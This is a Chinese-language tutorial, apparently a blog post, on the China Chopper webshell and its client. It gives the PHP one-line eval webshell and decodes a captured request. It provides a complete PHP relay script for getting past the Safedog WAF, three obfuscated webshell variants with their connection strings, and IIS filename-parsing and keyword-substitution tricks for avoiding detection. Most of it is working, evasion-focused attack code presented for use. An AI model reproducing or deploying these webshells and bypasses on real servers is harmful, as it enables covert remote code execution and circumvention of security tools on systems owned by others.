1. 菜刀
(1)中国菜刀的请求方式为post。
(2)中国菜刀模拟了百度爬虫的user-agent,中国菜刀默认的连接中使用base64的方式进行编码传输,以便逃脱抓捕。
<?php
eval($_POST['x']);
?>
客户端连接设置好URL,密码,连接。
一句话木马的核心就是:
PHP eval() 函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
eval(phpcode)
print("hello PHP!");
就从一个执行简单命令的这一点入手,抓包分析:
这个中国菜刀发送的HTTP包的数据部分:
op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
这是服务器返回的HTTP数据包
357273277->|hello PHP!|<-
可以看出,这里用了base64编码,为了防止特殊字符传输失败的异常。
用base64解码工具解码,得出上面HTTP包的数据部分为:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();
-
先用@ini_set("display_errors","0");临时关闭PHP的错误显示功能
-
@set_time_limit(0);防止像dir、上传文件大马时超时
-
@set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了
-
echo("->|");没啥好说的
-
print("hello PHP!");输出字符串
-
die();人如其名
二.菜刀高级用法
1.执行shell命令&&自定义终端路径
-
自定义终端路径
某些时候c:windowssystem32cmd.exe拒绝访问,需要更换cmd路径来突破
我们先上传一个自己的cmd.exe 目录为c:wwwcmd.exe
终端执行以下命令切换脚本调用的cmd.exe路径到c:wwwcmd.exe
setp:c:wwwcmd.exe
2.数据库管理
配置代码,以mysql为例
<T>MYSQL</T> //这里填写数据库类型
<H>localhost</H> //这里填写数据库主机地址
<U>root</U> //这里填写数据库用户名
<P>root</P> //这里填写数据库密码
<L>utf8</L> //这里填写编码方式
3.使用菜刀进行网站爬行
4.使用菜刀浏览器post数据
在菜刀主界面选择一个shell,右击浏览网站进入浏览器功能,浏览器的地址栏后面有个空白的按钮,点击下即出现post数据框:
5.使用菜刀浏览器修改cookies
在想修改cookies的页面右击,点击拓展功能,在里面修改cookies信息即可,重回页面并刷新就应用了我们修改后的cookies。
2.本地转发过狗原理
网站存在安全狗的情况下即使上传了一句话菜刀也连不上,尤其是iis7.5解析漏洞,xx.jpg/.php解析了一句话并且安全狗不拦截,但是连不上shell就很头疼。
首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截,菜刀的POST数据里面对eval数据进行了base64编码,安全狗也是利用该特征进行检测的。取消掉base64编码安全狗的确不拦截了,所以这里就认为是利用该特征进行检测。
转发脚本
<?php $target="";//webshell地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
// echo $pp;
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
3.一句话木马的变形
1 加密类变形
php一句话恶意脚本带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下:
<?php
echo"404NotFound!</br>"; error_reporting(0);
if(isset($_POST['com'])&&md5($_POST['com'])== '791dc312b38016ef998c1
c146104cd5a'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
echo "We're sorry but the page your are looking for is Not Found..."
?>
菜刀配置填:
<O>com=settoken&content=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7</O>
2 变量拼接类变形
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
菜刀配置填:
<O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>
3 加密拼接类变形
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
连接密码:1
在常见的绕过的套路中,一般使用以下几种方式进行绕过处理:
1、 第一种,使用各种分号 例如:/;.shell.asp;.jpg和/;1.asp/1.jpg(这里仅适用于IIS6.0)
2、第二种 把菜刀提交的内容在中转文件替换修改。
3、第三种 替换关键词,防止安全工具针对特定的关键字进行查杀。
4、 第四种 伪装爬虫,不使用特定的user-agent。